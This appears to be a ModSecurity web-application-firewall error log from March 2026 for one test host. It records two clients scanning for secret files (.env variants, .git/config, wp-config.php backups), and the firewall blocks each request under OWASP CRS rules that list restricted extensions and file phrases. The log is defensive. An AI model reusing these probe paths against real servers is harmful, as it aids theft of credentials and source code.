[Wed Mar 11 01:45:54.919724 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax8AAAAAE&quot;]
[Wed Mar 11 01:45:54.919911 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax8AAAAAE&quot;]
[Wed Mar 11 01:45:54.949830 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax8QAAAAE&quot;]
[Wed Mar 11 01:45:54.950077 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax8QAAAAE&quot;]
[Wed Mar 11 01:45:54.950278 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax8QAAAAE&quot;]
[Wed Mar 11 01:45:54.978202 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax8gAAAAE&quot;]
[Wed Mar 11 01:45:54.978400 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax8gAAAAE&quot;]
[Wed Mar 11 01:45:54.978552 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax8gAAAAE&quot;]
[Wed Mar 11 01:45:55.007323 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax8wAAAAE&quot;]
[Wed Mar 11 01:45:55.007567 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax8wAAAAE&quot;]
[Wed Mar 11 01:45:55.007744 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax8wAAAAE&quot;]
[Wed Mar 11 01:45:55.042055 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax9AAAAAE&quot;]
[Wed Mar 11 01:45:55.042286 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax9AAAAAE&quot;]
[Wed Mar 11 01:45:55.042496 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax9AAAAAE&quot;]
[Wed Mar 11 01:45:55.074566 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax9QAAAAE&quot;]
[Wed Mar 11 01:45:55.074723 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax9QAAAAE&quot;]
[Wed Mar 11 01:45:55.074937 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax9QAAAAE&quot;]
[Wed Mar 11 01:45:55.075126 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax9QAAAAE&quot;]
[Wed Mar 11 01:45:55.133945 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax9wAAAAE&quot;]
[Wed Mar 11 01:45:55.134240 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax9wAAAAE&quot;]
[Wed Mar 11 01:45:55.134438 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax9wAAAAE&quot;]
[Wed Mar 11 01:45:55.262853 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax-wAAAAE&quot;]
[Wed Mar 11 01:45:55.263064 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax-wAAAAE&quot;]
[Wed Mar 11 01:45:55.263231 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax-wAAAAE&quot;]
[Wed Mar 11 01:45:55.296089 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax_AAAAAE&quot;]
[Wed Mar 11 01:45:55.296294 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax_AAAAAE&quot;]
[Wed Mar 11 01:45:55.296463 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abC7Q7tVF3KfehqQiQax_AAAAAE&quot;]
[Wed Mar 11 08:42:57.890584 2026] [:error] [pid 2618367] [client 134.199.160.160:17590] [client 134.199.160.160] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abEdAZRVzYE2OXG_tEbSkQAAAAI&quot;]
[Wed Mar 11 08:42:57.890765 2026] [:error] [pid 2618367] [client 134.199.160.160:17590] [client 134.199.160.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abEdAZRVzYE2OXG_tEbSkQAAAAI&quot;]
[Wed Mar 11 08:42:57.890938 2026] [:error] [pid 2618367] [client 134.199.160.160:17590] [client 134.199.160.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abEdAZRVzYE2OXG_tEbSkQAAAAI&quot;]
[Wed Mar 11 08:42:58.366114 2026] [:error] [pid 2618367] [client 134.199.160.160:17590] [client 134.199.160.160] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abEdApRVzYE2OXG_tEbSkwAAAAI&quot;]
[Wed Mar 11 08:42:58.366238 2026] [:error] [pid 2618367] [client 134.199.160.160:17590] [client 134.199.160.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abEdApRVzYE2OXG_tEbSkwAAAAI&quot;]
